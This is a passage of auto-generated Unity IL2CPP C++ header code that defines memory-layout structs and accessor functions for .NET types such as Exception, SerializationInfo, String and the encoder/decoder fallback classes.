Il2CppCodeGenWriteBarrier((&___comparer_6), value); } inline static int32_t get_offset_of_keys_7() { return static_cast<int32_t>(offsetof(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE, ___keys_7)); } inline KeyCollection_t0A494A02669573F9DB0645810A3CE95699AF12CF * get_keys_7() const { return ___keys_7; } inline KeyCollection_t0A494A02669573F9DB0645810A3CE95699AF12CF ** get_address_of_keys_7() { return &___keys_7; } inline void set_keys_7(KeyCollection_t0A494A02669573F9DB0645810A3CE95699AF12CF * value) { ___keys_7 = value; Il2CppCodeGenWriteBarrier((&___keys_7), value); } inline static int32_t get_offset_of_values_8() { return static_cast<int32_t>(offsetof(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE, ___values_8)); } inline ValueCollection_tB32C5B99C1808F9DF958AF03D289C64F31A50E38 * get_values_8() const { return ___values_8; } inline ValueCollection_tB32C5B99C1808F9DF958AF03D289C64F31A50E38 ** get_address_of_values_8() { return &___values_8; } inline void set_values_8(ValueCollection_tB32C5B99C1808F9DF958AF03D289C64F31A50E38 * value) { ___values_8 = value; Il2CppCodeGenWriteBarrier((&___values_8), value); } inline static int32_t get_offset_of__syncRoot_9() { return static_cast<int32_t>(offsetof(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE, ____syncRoot_9)); } inline RuntimeObject * get__syncRoot_9() const { return ____syncRoot_9; } inline RuntimeObject ** get_address_of__syncRoot_9() { return &____syncRoot_9; } inline void set__syncRoot_9(RuntimeObject * value) { ____syncRoot_9 = value; Il2CppCodeGenWriteBarrier((&____syncRoot_9), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // DICTIONARY_2_TB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE_H #ifndef EXCEPTION_T_H #define EXCEPTION_T_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Exception struct Exception_t : public RuntimeObject { public: // System.String System.Exception::_className String_t* ____className_1; // System.String System.Exception::_message String_t* ____message_2; // System.Collections.IDictionary System.Exception::_data RuntimeObject* ____data_3; // System.Exception System.Exception::_innerException Exception_t * ____innerException_4; // System.String System.Exception::_helpURL String_t* ____helpURL_5; // System.Object System.Exception::_stackTrace RuntimeObject * ____stackTrace_6; // System.String System.Exception::_stackTraceString String_t* ____stackTraceString_7; // System.String System.Exception::_remoteStackTraceString String_t* ____remoteStackTraceString_8; // System.Int32 System.Exception::_remoteStackIndex int32_t ____remoteStackIndex_9; // System.Object System.Exception::_dynamicMethods RuntimeObject * ____dynamicMethods_10; // System.Int32 System.Exception::_HResult int32_t ____HResult_11; // System.String System.Exception::_source String_t* ____source_12; // System.Runtime.Serialization.SafeSerializationManager System.Exception::_safeSerializationManager SafeSerializationManager_t4A754D86B0F784B18CBC36C073BA564BED109770 * ____safeSerializationManager_13; // System.Diagnostics.StackTrace[] System.Exception::captured_traces StackTraceU5BU5D_t855F09649EA34DEE7C1B6F088E0538E3CCC3F196* ___captured_traces_14; // System.IntPtr[] System.Exception::native_trace_ips IntPtrU5BU5D_t4DC01DCB9A6DF6C9792A6513595D7A11E637DCDD* ___native_trace_ips_15; public: inline static int32_t get_offset_of__className_1() { return static_cast<int32_t>(offsetof(Exception_t, ____className_1)); } inline String_t* get__className_1() const { return ____className_1; } inline String_t** get_address_of__className_1() { return &____className_1; } inline void set__className_1(String_t* value) { ____className_1 = value; Il2CppCodeGenWriteBarrier((&____className_1), value); } inline static int32_t get_offset_of__message_2() { return static_cast<int32_t>(offsetof(Exception_t, ____message_2)); } inline String_t* get__message_2() const { return ____message_2; } inline String_t** get_address_of__message_2() { return &____message_2; } inline void set__message_2(String_t* value) { ____message_2 = value; Il2CppCodeGenWriteBarrier((&____message_2), value); } inline static int32_t get_offset_of__data_3() { return static_cast<int32_t>(offsetof(Exception_t, ____data_3)); } inline RuntimeObject* get__data_3() const { return ____data_3; } inline RuntimeObject** get_address_of__data_3() { return &____data_3; } inline void set__data_3(RuntimeObject* value) { ____data_3 = value; Il2CppCodeGenWriteBarrier((&____data_3), value); } inline static int32_t get_offset_of__innerException_4() { return static_cast<int32_t>(offsetof(Exception_t, ____innerException_4)); } inline Exception_t * get__innerException_4() const { return ____innerException_4; } inline Exception_t ** get_address_of__innerException_4() { return &____innerException_4; } inline void set__innerException_4(Exception_t * value) { ____innerException_4 = value; Il2CppCodeGenWriteBarrier((&____innerException_4), value); } inline static int32_t get_offset_of__helpURL_5() { return static_cast<int32_t>(offsetof(Exception_t, ____helpURL_5)); } inline String_t* get__helpURL_5() const { return ____helpURL_5; } inline String_t** get_address_of__helpURL_5() { return &____helpURL_5; } inline void set__helpURL_5(String_t* value) { ____helpURL_5 = value; Il2CppCodeGenWriteBarrier((&____helpURL_5), value); } inline static int32_t get_offset_of__stackTrace_6() { return static_cast<int32_t>(offsetof(Exception_t, ____stackTrace_6)); } inline RuntimeObject * get__stackTrace_6() const { return ____stackTrace_6; } inline RuntimeObject ** get_address_of__stackTrace_6() { return &____stackTrace_6; } inline void set__stackTrace_6(RuntimeObject * value) { ____stackTrace_6 = value; Il2CppCodeGenWriteBarrier((&____stackTrace_6), value); } inline static int32_t get_offset_of__stackTraceString_7() { return static_cast<int32_t>(offsetof(Exception_t, ____stackTraceString_7)); } inline String_t* get__stackTraceString_7() const { return ____stackTraceString_7; } inline String_t** get_address_of__stackTraceString_7() { return &____stackTraceString_7; } inline void set__stackTraceString_7(String_t* value) { ____stackTraceString_7 = value; Il2CppCodeGenWriteBarrier((&____stackTraceString_7), value); } inline static int32_t get_offset_of__remoteStackTraceString_8() { return static_cast<int32_t>(offsetof(Exception_t, ____remoteStackTraceString_8)); } inline String_t* get__remoteStackTraceString_8() const { return ____remoteStackTraceString_8; } inline String_t** get_address_of__remoteStackTraceString_8() { return &____remoteStackTraceString_8; } inline void set__remoteStackTraceString_8(String_t* value) { ____remoteStackTraceString_8 = value; Il2CppCodeGenWriteBarrier((&____remoteStackTraceString_8), value); } inline static int32_t get_offset_of__remoteStackIndex_9() { return static_cast<int32_t>(offsetof(Exception_t, ____remoteStackIndex_9)); } inline int32_t get__remoteStackIndex_9() const { return ____remoteStackIndex_9; } inline int32_t* get_address_of__remoteStackIndex_9() { return &____remoteStackIndex_9; } inline void set__remoteStackIndex_9(int32_t value) { ____remoteStackIndex_9 = value; } inline static int32_t get_offset_of__dynamicMethods_10() { return static_cast<int32_t>(offsetof(Exception_t, ____dynamicMethods_10)); } inline RuntimeObject * get__dynamicMethods_10() const { return ____dynamicMethods_10; } inline RuntimeObject ** get_address_of__dynamicMethods_10() { return &____dynamicMethods_10; } inline void set__dynamicMethods_10(RuntimeObject * value) { ____dynamicMethods_10 = value; Il2CppCodeGenWriteBarrier((&____dynamicMethods_10), value); } inline static int32_t get_offset_of__HResult_11() { return static_cast<int32_t>(offsetof(Exception_t, ____HResult_11)); } inline int32_t get__HResult_11() const { return ____HResult_11; } inline int32_t* get_address_of__HResult_11() { return &____HResult_11; } inline void set__HResult_11(int32_t value) { ____HResult_11 = value; } inline static int32_t get_offset_of__source_12() { return static_cast<int32_t>(offsetof(Exception_t, ____source_12)); } inline String_t* get__source_12() const { return ____source_12; } inline String_t** get_address_of__source_12() { return &____source_12; } inline void set__source_12(String_t* value) { ____source_12 = value; Il2CppCodeGenWriteBarrier((&____source_12), value); } inline static int32_t get_offset_of__safeSerializationManager_13() { return static_cast<int32_t>(offsetof(Exception_t, ____safeSerializationManager_13)); } inline SafeSerializationManager_t4A754D86B0F784B18CBC36C073BA564BED109770 * get__safeSerializationManager_13() const { return ____safeSerializationManager_13; } inline SafeSerializationManager_t4A754D86B0F784B18CBC36C073BA564BED109770 ** get_address_of__safeSerializationManager_13() { return &____safeSerializationManager_13; } inline void set__safeSerializationManager_13(SafeSerializationManager_t4A754D86B0F784B18CBC36C073BA564BED109770 * value) { ____safeSerializationManager_13 = value; Il2CppCodeGenWriteBarrier((&____safeSerializationManager_13), value); } inline static int32_t get_offset_of_captured_traces_14() { return static_cast<int32_t>(offsetof(Exception_t, ___captured_traces_14)); } inline StackTraceU5BU5D_t855F09649EA34DEE7C1B6F088E0538E3CCC3F196* get_captured_traces_14() const { return ___captured_traces_14; } inline StackTraceU5BU5D_t855F09649EA34DEE7C1B6F088E0538E3CCC3F196** get_address_of_captured_traces_14() { return &___captured_traces_14; } inline void set_captured_traces_14(StackTraceU5BU5D_t855F09649EA34DEE7C1B6F088E0538E3CCC3F196* value) { ___captured_traces_14 = value; Il2CppCodeGenWriteBarrier((&___captured_traces_14), value); } inline static int32_t get_offset_of_native_trace_ips_15() { return static_cast<int32_t>(offsetof(Exception_t, ___native_trace_ips_15)); } inline IntPtrU5BU5D_t4DC01DCB9A6DF6C9792A6513595D7A11E637DCDD* get_native_trace_ips_15() const { return ___native_trace_ips_15; } inline IntPtrU5BU5D_t4DC01DCB9A6DF6C9792A6513595D7A11E637DCDD** get_address_of_native_trace_ips_15() { return &___native_trace_ips_15; } inline void set_native_trace_ips_15(IntPtrU5BU5D_t4DC01DCB9A6DF6C9792A6513595D7A11E637DCDD* value) { ___native_trace_ips_15 = value; Il2CppCodeGenWriteBarrier((&___native_trace_ips_15), value); } }; struct Exception_t_StaticFields { public: // System.Object System.Exception::s_EDILock RuntimeObject * ___s_EDILock_0; public: inline static int32_t get_offset_of_s_EDILock_0() { return static_cast<int32_t>(offsetof(Exception_t_StaticFields, ___s_EDILock_0)); } inline RuntimeObject * get_s_EDILock_0() const { return ___s_EDILock_0; } inline RuntimeObject ** get_address_of_s_EDILock_0() { return &___s_EDILock_0; } inline void set_s_EDILock_0(RuntimeObject * value) { ___s_EDILock_0 = value; Il2CppCodeGenWriteBarrier((&___s_EDILock_0), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif // Native definition for P/Invoke marshalling of System.Exception struct Exception_t_marshaled_pinvoke { char* ____className_1; char* ____message_2; RuntimeObject* ____data_3; Exception_t_marshaled_pinvoke* ____innerException_4; char* ____helpURL_5; Il2CppIUnknown* ____stackTrace_6; char* ____stackTraceString_7; char* ____remoteStackTraceString_8; int32_t ____remoteStackIndex_9; Il2CppIUnknown* ____dynamicMethods_10; int32_t ____HResult_11; char* ____source_12; SafeSerializationManager_t4A754D86B0F784B18CBC36C073BA564BED109770 * ____safeSerializationManager_13; StackTraceU5BU5D_t855F09649EA34DEE7C1B6F088E0538E3CCC3F196* ___captured_traces_14; intptr_t* ___native_trace_ips_15; }; // Native definition for COM marshalling of System.Exception struct Exception_t_marshaled_com { Il2CppChar* ____className_1; Il2CppChar* ____message_2; RuntimeObject* ____data_3; Exception_t_marshaled_com* ____innerException_4; Il2CppChar* ____helpURL_5; Il2CppIUnknown* ____stackTrace_6; Il2CppChar* ____stackTraceString_7; Il2CppChar* ____remoteStackTraceString_8; int32_t ____remoteStackIndex_9; Il2CppIUnknown* ____dynamicMethods_10; int32_t ____HResult_11; Il2CppChar* ____source_12; SafeSerializationManager_t4A754D86B0F784B18CBC36C073BA564BED109770 * ____safeSerializationManager_13; StackTraceU5BU5D_t855F09649EA34DEE7C1B6F088E0538E3CCC3F196* ___captured_traces_14; intptr_t* ___native_trace_ips_15; }; #endif // EXCEPTION_T_H #ifndef MEMBERINFO_T_H #define MEMBERINFO_T_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Reflection.MemberInfo struct MemberInfo_t : public RuntimeObject { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // MEMBERINFO_T_H #ifndef SERIALIZATIONINFO_T1BB80E9C9DEA52DBF464487234B045E2930ADA26_H #define SERIALIZATIONINFO_T1BB80E9C9DEA52DBF464487234B045E2930ADA26_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Runtime.Serialization.SerializationInfo struct SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26 : public RuntimeObject { public: // System.String[] System.Runtime.Serialization.SerializationInfo::m_members StringU5BU5D_t933FB07893230EA91C40FF900D5400665E87B14E* ___m_members_3; // System.Object[] System.Runtime.Serialization.SerializationInfo::m_data ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A* ___m_data_4; // System.Type[] System.Runtime.Serialization.SerializationInfo::m_types TypeU5BU5D_t7FE623A666B49176DE123306221193E888A12F5F* ___m_types_5; // System.Collections.Generic.Dictionary`2<System.String,System.Int32> System.Runtime.Serialization.SerializationInfo::m_nameToIndex Dictionary_2_tD6E204872BA9FD506A0287EF68E285BEB9EC0DFB * ___m_nameToIndex_6; // System.Int32 System.Runtime.Serialization.SerializationInfo::m_currMember int32_t ___m_currMember_7; // System.Runtime.Serialization.IFormatterConverter System.Runtime.Serialization.SerializationInfo::m_converter RuntimeObject* ___m_converter_8; // System.String System.Runtime.Serialization.SerializationInfo::m_fullTypeName String_t* ___m_fullTypeName_9; // System.String System.Runtime.Serialization.SerializationInfo::m_assemName String_t* ___m_assemName_10; // System.Type System.Runtime.Serialization.SerializationInfo::objectType Type_t * ___objectType_11; // System.Boolean System.Runtime.Serialization.SerializationInfo::isFullTypeNameSetExplicit bool ___isFullTypeNameSetExplicit_12; // System.Boolean System.Runtime.Serialization.SerializationInfo::isAssemblyNameSetExplicit bool ___isAssemblyNameSetExplicit_13; // System.Boolean System.Runtime.Serialization.SerializationInfo::requireSameTokenInPartialTrust bool ___requireSameTokenInPartialTrust_14; public: inline static int32_t get_offset_of_m_members_3() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___m_members_3)); } inline StringU5BU5D_t933FB07893230EA91C40FF900D5400665E87B14E* get_m_members_3() const { return ___m_members_3; } inline StringU5BU5D_t933FB07893230EA91C40FF900D5400665E87B14E** get_address_of_m_members_3() { return &___m_members_3; } inline void set_m_members_3(StringU5BU5D_t933FB07893230EA91C40FF900D5400665E87B14E* value) { ___m_members_3 = value; Il2CppCodeGenWriteBarrier((&___m_members_3), value); } inline static int32_t get_offset_of_m_data_4() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___m_data_4)); } inline ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A* get_m_data_4() const { return ___m_data_4; } inline ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A** get_address_of_m_data_4() { return &___m_data_4; } inline void set_m_data_4(ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A* value) { ___m_data_4 = value; Il2CppCodeGenWriteBarrier((&___m_data_4), value); } inline static int32_t get_offset_of_m_types_5() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___m_types_5)); } inline TypeU5BU5D_t7FE623A666B49176DE123306221193E888A12F5F* get_m_types_5() const { return ___m_types_5; } inline TypeU5BU5D_t7FE623A666B49176DE123306221193E888A12F5F** get_address_of_m_types_5() { return &___m_types_5; } inline void set_m_types_5(TypeU5BU5D_t7FE623A666B49176DE123306221193E888A12F5F* value) { ___m_types_5 = value; Il2CppCodeGenWriteBarrier((&___m_types_5), value); } inline static int32_t get_offset_of_m_nameToIndex_6() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___m_nameToIndex_6)); } inline Dictionary_2_tD6E204872BA9FD506A0287EF68E285BEB9EC0DFB * get_m_nameToIndex_6() const { return ___m_nameToIndex_6; } inline Dictionary_2_tD6E204872BA9FD506A0287EF68E285BEB9EC0DFB ** get_address_of_m_nameToIndex_6() { return &___m_nameToIndex_6; } inline void set_m_nameToIndex_6(Dictionary_2_tD6E204872BA9FD506A0287EF68E285BEB9EC0DFB * value) { ___m_nameToIndex_6 = value; Il2CppCodeGenWriteBarrier((&___m_nameToIndex_6), value); } inline static int32_t get_offset_of_m_currMember_7() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___m_currMember_7)); } inline int32_t get_m_currMember_7() const { return ___m_currMember_7; } inline int32_t* get_address_of_m_currMember_7() { return &___m_currMember_7; } inline void set_m_currMember_7(int32_t value) { ___m_currMember_7 = value; } inline static int32_t get_offset_of_m_converter_8() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___m_converter_8)); } inline RuntimeObject* get_m_converter_8() const { return ___m_converter_8; } inline RuntimeObject** get_address_of_m_converter_8() { return &___m_converter_8; } inline void set_m_converter_8(RuntimeObject* value) { ___m_converter_8 = value; Il2CppCodeGenWriteBarrier((&___m_converter_8), value); } inline static int32_t get_offset_of_m_fullTypeName_9() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___m_fullTypeName_9)); } inline String_t* get_m_fullTypeName_9() const { return ___m_fullTypeName_9; } inline String_t** get_address_of_m_fullTypeName_9() { return &___m_fullTypeName_9; } inline void set_m_fullTypeName_9(String_t* value) { ___m_fullTypeName_9 = value; Il2CppCodeGenWriteBarrier((&___m_fullTypeName_9), value); } inline static int32_t get_offset_of_m_assemName_10() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___m_assemName_10)); } inline String_t* get_m_assemName_10() const { return ___m_assemName_10; } inline String_t** get_address_of_m_assemName_10() { return &___m_assemName_10; } inline void set_m_assemName_10(String_t* value) { ___m_assemName_10 = value; Il2CppCodeGenWriteBarrier((&___m_assemName_10), value); } inline static int32_t get_offset_of_objectType_11() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___objectType_11)); } inline Type_t * get_objectType_11() const { return ___objectType_11; } inline Type_t ** get_address_of_objectType_11() { return &___objectType_11; } inline void set_objectType_11(Type_t * value) { ___objectType_11 = value; Il2CppCodeGenWriteBarrier((&___objectType_11), value); } inline static int32_t get_offset_of_isFullTypeNameSetExplicit_12() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___isFullTypeNameSetExplicit_12)); } inline bool get_isFullTypeNameSetExplicit_12() const { return ___isFullTypeNameSetExplicit_12; } inline bool* get_address_of_isFullTypeNameSetExplicit_12() { return &___isFullTypeNameSetExplicit_12; } inline void set_isFullTypeNameSetExplicit_12(bool value) { ___isFullTypeNameSetExplicit_12 = value; } inline static int32_t get_offset_of_isAssemblyNameSetExplicit_13() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___isAssemblyNameSetExplicit_13)); } inline bool get_isAssemblyNameSetExplicit_13() const { return ___isAssemblyNameSetExplicit_13; } inline bool* get_address_of_isAssemblyNameSetExplicit_13() { return &___isAssemblyNameSetExplicit_13; } inline void set_isAssemblyNameSetExplicit_13(bool value) { ___isAssemblyNameSetExplicit_13 = value; } inline static int32_t get_offset_of_requireSameTokenInPartialTrust_14() { return static_cast<int32_t>(offsetof(SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26, ___requireSameTokenInPartialTrust_14)); } inline bool get_requireSameTokenInPartialTrust_14() const { return ___requireSameTokenInPartialTrust_14; } inline bool* get_address_of_requireSameTokenInPartialTrust_14() { return &___requireSameTokenInPartialTrust_14; } inline void set_requireSameTokenInPartialTrust_14(bool value) { ___requireSameTokenInPartialTrust_14 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // SERIALIZATIONINFO_T1BB80E9C9DEA52DBF464487234B045E2930ADA26_H #ifndef BINARYCOMPATIBILITY_T06B1B8D34764DB1710459778EB22433728A665A8_H #define BINARYCOMPATIBILITY_T06B1B8D34764DB1710459778EB22433728A665A8_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Runtime.Versioning.BinaryCompatibility struct BinaryCompatibility_t06B1B8D34764DB1710459778EB22433728A665A8 : public RuntimeObject { public: public: }; struct BinaryCompatibility_t06B1B8D34764DB1710459778EB22433728A665A8_StaticFields { public: // System.Boolean System.Runtime.Versioning.BinaryCompatibility::TargetsAtLeast_Desktop_V4_5 bool ___TargetsAtLeast_Desktop_V4_5_0; // System.Boolean System.Runtime.Versioning.BinaryCompatibility::TargetsAtLeast_Desktop_V4_5_1 bool ___TargetsAtLeast_Desktop_V4_5_1_1; public: inline static int32_t get_offset_of_TargetsAtLeast_Desktop_V4_5_0() { return static_cast<int32_t>(offsetof(BinaryCompatibility_t06B1B8D34764DB1710459778EB22433728A665A8_StaticFields, ___TargetsAtLeast_Desktop_V4_5_0)); } inline bool get_TargetsAtLeast_Desktop_V4_5_0() const { return ___TargetsAtLeast_Desktop_V4_5_0; } inline bool* get_address_of_TargetsAtLeast_Desktop_V4_5_0() { return &___TargetsAtLeast_Desktop_V4_5_0; } inline void set_TargetsAtLeast_Desktop_V4_5_0(bool value) { ___TargetsAtLeast_Desktop_V4_5_0 = value; } inline static int32_t get_offset_of_TargetsAtLeast_Desktop_V4_5_1_1() { return static_cast<int32_t>(offsetof(BinaryCompatibility_t06B1B8D34764DB1710459778EB22433728A665A8_StaticFields, ___TargetsAtLeast_Desktop_V4_5_1_1)); } inline bool get_TargetsAtLeast_Desktop_V4_5_1_1() const { return ___TargetsAtLeast_Desktop_V4_5_1_1; } inline bool* get_address_of_TargetsAtLeast_Desktop_V4_5_1_1() { return &___TargetsAtLeast_Desktop_V4_5_1_1; } inline void set_TargetsAtLeast_Desktop_V4_5_1_1(bool value) { ___TargetsAtLeast_Desktop_V4_5_1_1 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // BINARYCOMPATIBILITY_T06B1B8D34764DB1710459778EB22433728A665A8_H #ifndef STRING_T_H #define STRING_T_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.String struct String_t : public RuntimeObject { public: // System.Int32 System.String::m_stringLength int32_t ___m_stringLength_0; // System.Char System.String::m_firstChar Il2CppChar ___m_firstChar_1; public: inline static int32_t get_offset_of_m_stringLength_0() { return static_cast<int32_t>(offsetof(String_t, ___m_stringLength_0)); } inline int32_t get_m_stringLength_0() const { return ___m_stringLength_0; } inline int32_t* get_address_of_m_stringLength_0() { return &___m_stringLength_0; } inline void set_m_stringLength_0(int32_t value) { ___m_stringLength_0 = value; } inline static int32_t get_offset_of_m_firstChar_1() { return static_cast<int32_t>(offsetof(String_t, ___m_firstChar_1)); } inline Il2CppChar get_m_firstChar_1() const { return ___m_firstChar_1; } inline Il2CppChar* get_address_of_m_firstChar_1() { return &___m_firstChar_1; } inline void set_m_firstChar_1(Il2CppChar value) { ___m_firstChar_1 = value; } }; struct String_t_StaticFields { public: // System.String System.String::Empty String_t* ___Empty_5; public: inline static int32_t get_offset_of_Empty_5() { return static_cast<int32_t>(offsetof(String_t_StaticFields, ___Empty_5)); } inline String_t* get_Empty_5() const { return ___Empty_5; } inline String_t** get_address_of_Empty_5() { return &___Empty_5; } inline void set_Empty_5(String_t* value) { ___Empty_5 = value; Il2CppCodeGenWriteBarrier((&___Empty_5), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // STRING_T_H #ifndef DECODERFALLBACK_T128445EB7676870485230893338EF044F6B72F60_H #define DECODERFALLBACK_T128445EB7676870485230893338EF044F6B72F60_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Text.DecoderFallback struct DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 : public RuntimeObject { public: // System.Boolean System.Text.DecoderFallback::bIsMicrosoftBestFitFallback bool ___bIsMicrosoftBestFitFallback_0; public: inline static int32_t get_offset_of_bIsMicrosoftBestFitFallback_0() { return static_cast<int32_t>(offsetof(DecoderFallback_t128445EB7676870485230893338EF044F6B72F60, ___bIsMicrosoftBestFitFallback_0)); } inline bool get_bIsMicrosoftBestFitFallback_0() const { return ___bIsMicrosoftBestFitFallback_0; } inline bool* get_address_of_bIsMicrosoftBestFitFallback_0() { return &___bIsMicrosoftBestFitFallback_0; } inline void set_bIsMicrosoftBestFitFallback_0(bool value) { ___bIsMicrosoftBestFitFallback_0 = value; } }; struct DecoderFallback_t128445EB7676870485230893338EF044F6B72F60_StaticFields { public: // System.Text.DecoderFallback modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.DecoderFallback::replacementFallback DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 * ___replacementFallback_1; // System.Text.DecoderFallback modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.DecoderFallback::exceptionFallback DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 * ___exceptionFallback_2; // System.Object System.Text.DecoderFallback::s_InternalSyncObject RuntimeObject * ___s_InternalSyncObject_3; public: inline static int32_t get_offset_of_replacementFallback_1() { return static_cast<int32_t>(offsetof(DecoderFallback_t128445EB7676870485230893338EF044F6B72F60_StaticFields, ___replacementFallback_1)); } inline DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 * get_replacementFallback_1() const { return ___replacementFallback_1; } inline DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 ** get_address_of_replacementFallback_1() { return &___replacementFallback_1; } inline void set_replacementFallback_1(DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 * value) { ___replacementFallback_1 = value; Il2CppCodeGenWriteBarrier((&___replacementFallback_1), value); } inline static int32_t get_offset_of_exceptionFallback_2() { return static_cast<int32_t>(offsetof(DecoderFallback_t128445EB7676870485230893338EF044F6B72F60_StaticFields, ___exceptionFallback_2)); } inline DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 * get_exceptionFallback_2() const { return ___exceptionFallback_2; } inline DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 ** get_address_of_exceptionFallback_2() { return &___exceptionFallback_2; } inline void set_exceptionFallback_2(DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 * value) { ___exceptionFallback_2 = value; Il2CppCodeGenWriteBarrier((&___exceptionFallback_2), value); } inline static int32_t get_offset_of_s_InternalSyncObject_3() { return static_cast<int32_t>(offsetof(DecoderFallback_t128445EB7676870485230893338EF044F6B72F60_StaticFields, ___s_InternalSyncObject_3)); } inline RuntimeObject * get_s_InternalSyncObject_3() const { return ___s_InternalSyncObject_3; } inline RuntimeObject ** get_address_of_s_InternalSyncObject_3() { return &___s_InternalSyncObject_3; } inline void set_s_InternalSyncObject_3(RuntimeObject * value) { ___s_InternalSyncObject_3 = value; Il2CppCodeGenWriteBarrier((&___s_InternalSyncObject_3), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // DECODERFALLBACK_T128445EB7676870485230893338EF044F6B72F60_H #ifndef ENCODERFALLBACK_TDE342346D01608628F1BCEBB652D31009852CF63_H #define ENCODERFALLBACK_TDE342346D01608628F1BCEBB652D31009852CF63_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Text.EncoderFallback struct EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 : public RuntimeObject { public: // System.Boolean System.Text.EncoderFallback::bIsMicrosoftBestFitFallback bool ___bIsMicrosoftBestFitFallback_0; public: inline static int32_t get_offset_of_bIsMicrosoftBestFitFallback_0() { return static_cast<int32_t>(offsetof(EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63, ___bIsMicrosoftBestFitFallback_0)); } inline bool get_bIsMicrosoftBestFitFallback_0() const { return ___bIsMicrosoftBestFitFallback_0; } inline bool* get_address_of_bIsMicrosoftBestFitFallback_0() { return &___bIsMicrosoftBestFitFallback_0; } inline void set_bIsMicrosoftBestFitFallback_0(bool value) { ___bIsMicrosoftBestFitFallback_0 = value; } }; struct EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63_StaticFields { public: // System.Text.EncoderFallback modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.EncoderFallback::replacementFallback EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 * ___replacementFallback_1; // System.Text.EncoderFallback modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.EncoderFallback::exceptionFallback EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 * ___exceptionFallback_2; // System.Object System.Text.EncoderFallback::s_InternalSyncObject RuntimeObject * ___s_InternalSyncObject_3; public: inline static int32_t get_offset_of_replacementFallback_1() { return static_cast<int32_t>(offsetof(EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63_StaticFields, ___replacementFallback_1)); } inline EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 * get_replacementFallback_1() const { return ___replacementFallback_1; } inline EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 ** get_address_of_replacementFallback_1() { return &___replacementFallback_1; } inline void set_replacementFallback_1(EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 * value) { ___replacementFallback_1 = value; Il2CppCodeGenWriteBarrier((&___replacementFallback_1), value); } inline static int32_t get_offset_of_exceptionFallback_2() { return static_cast<int32_t>(offsetof(EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63_StaticFields, ___exceptionFallback_2)); } 